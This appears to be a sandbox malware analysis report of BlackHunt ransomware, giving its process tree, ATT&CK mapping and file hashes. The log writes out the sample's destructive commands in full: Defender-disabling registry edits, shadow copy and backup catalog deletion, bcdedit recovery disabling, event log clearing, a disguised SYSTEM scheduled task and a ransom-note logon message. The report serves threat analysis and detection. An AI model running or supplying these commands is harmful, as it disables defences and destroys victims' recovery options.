The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2896 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2712
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2688
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2640
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2108
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2508
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1664
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1524
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1484
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1112
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe" /F2⤵PID:1332
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe" /F3⤵
- Creates scheduled task(s)
PID:1160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2556
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:544
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2148 -
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup4⤵
- Clears Windows event logs
PID:2640
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2352
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:768
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2132
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1004
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2548
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1420
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2924
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:604
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1132
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1136
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1464
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1472
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1576
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1604
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2304
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1876
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2888
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2820
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1872
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3004
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2496
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2696
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2576
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2772
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2692
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2808
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2776
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3080
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
PID:2908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3364
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3736
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3960
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3448
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2020
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3132
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2356
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3328
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3252
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3548
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1780
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3588
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1764
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3904
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1596
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵PID:1000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3380
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2628
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe"2⤵PID:3524
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3228
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
PID:2252
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4060
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3824
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3508
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:784
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2148
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3700
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2328
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2192
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f1⤵
- Modifies registry class
PID:2384
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f1⤵
- Modifies registry class
PID:2728
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f1⤵PID:1884
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f1⤵PID:2264
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f1⤵PID:1608
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f1⤵PID:2096
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f1⤵PID:448
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f1⤵PID:2004
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures1⤵
- Modifies boot configuration data using bcdedit
PID:1500
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1748
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded1⤵
- Interacts with shadow copies
PID:2984
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:1576
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet1⤵
- Deletes backup catalog
PID:1752
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f1⤵PID:2028
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f1⤵PID:2052
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB1⤵
- Interacts with shadow copies
PID:1544
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f1⤵PID:2504
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:996
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵PID:2592
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f1⤵PID:1728
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f1⤵PID:596
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f1⤵PID:2244
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2740
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f1⤵PID:2552
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f1⤵PID:2200
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1308
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f1⤵PID:868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f1⤵
- Adds Run key to start application
PID:2992
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\1⤵PID:968
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:652
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1485980383-16212562031836996807-2122633514-79776756-1934823600-4018691041459549384"1⤵
- Suspicious use of WriteProcessMemory
PID:2812
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1910915411718194926-603707013285588261-1028333511-1699159801-842543559794755743"1⤵PID:2508
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1767139835-7936774631862512681-2049802771666076431-74062050813711858811520330717"1⤵PID:2244
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application1⤵
- Clears Windows event logs
PID:3464
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures1⤵
- Modifies boot configuration data using bcdedit
PID:2828
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-865068933516145147-1597622102392924102109359867614274401611044936129-854704262"1⤵PID:2352
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:2132
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System1⤵
- Clears Windows event logs
PID:1204
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false1⤵
- Clears Windows event logs
PID:1964
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1606877093-1822420753-12691194941816445606-238613632-1302670646329604635-2093501973"1⤵PID:768
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "3452859321884048307-144002769712267927501028436005-18276446049859561271788054927"1⤵PID:1576
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\1⤵PID:1640
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\1⤵PID:3784
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "607865743-20668390321204603548-17752174911344687013-1086675862222005050698038933"1⤵PID:2772
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD52691374b3de382f4d6bda5d043007116
SHA124df02c4188ff28cb5488acb3032be9d332fb0de
SHA2564afd9a5cf1f2f1166b2019161bb1abeeeb43fa9bc9e12e0e7b5ea98778046a74
SHA51231d26b10d6841cb27201b966fc2233cda5dec82d25ebadccc3f8063fb6eab3f618b6078558ce70d9fdbb95b7cc61baca4f540fd1f2ec285524e73195b4e1e0d3
-
Filesize
12KB
MD5b21c248606b605f8a200f8f26b03f8a8
SHA10faa53861f2ba0faa761bb236e08d23db09c87d1
SHA2569bb760e2885e8179a4dc228656916a1185650dcdd4a3a2b8e95d909f2e1d4e7f
SHA5123ba5d264b24a14e3421e13b2045a3d536987089e84e8a477ce7d93973036d6793ec11e1b8c7c382ed544c0413a2610690d5a2ba00cf78dd9c8033c34705eaf92
-
Filesize
684B
MD5ad714121d5cfb9571cada0cad4694ced
SHA1807925387381cb0b9e8dc9891c235dbe11c18df6
SHA2560d3976d5659746bef16f73422e35963b62ec41cf88270932b060f498189f6384
SHA512bfb4eb0a17b7f8eac95765fa661910648b703e551f5166528bf253c3e36bce64c45509ea51ce1d7e773ba2113a32ab397f0e80c48805d0fb0275c3f0d1b65fb2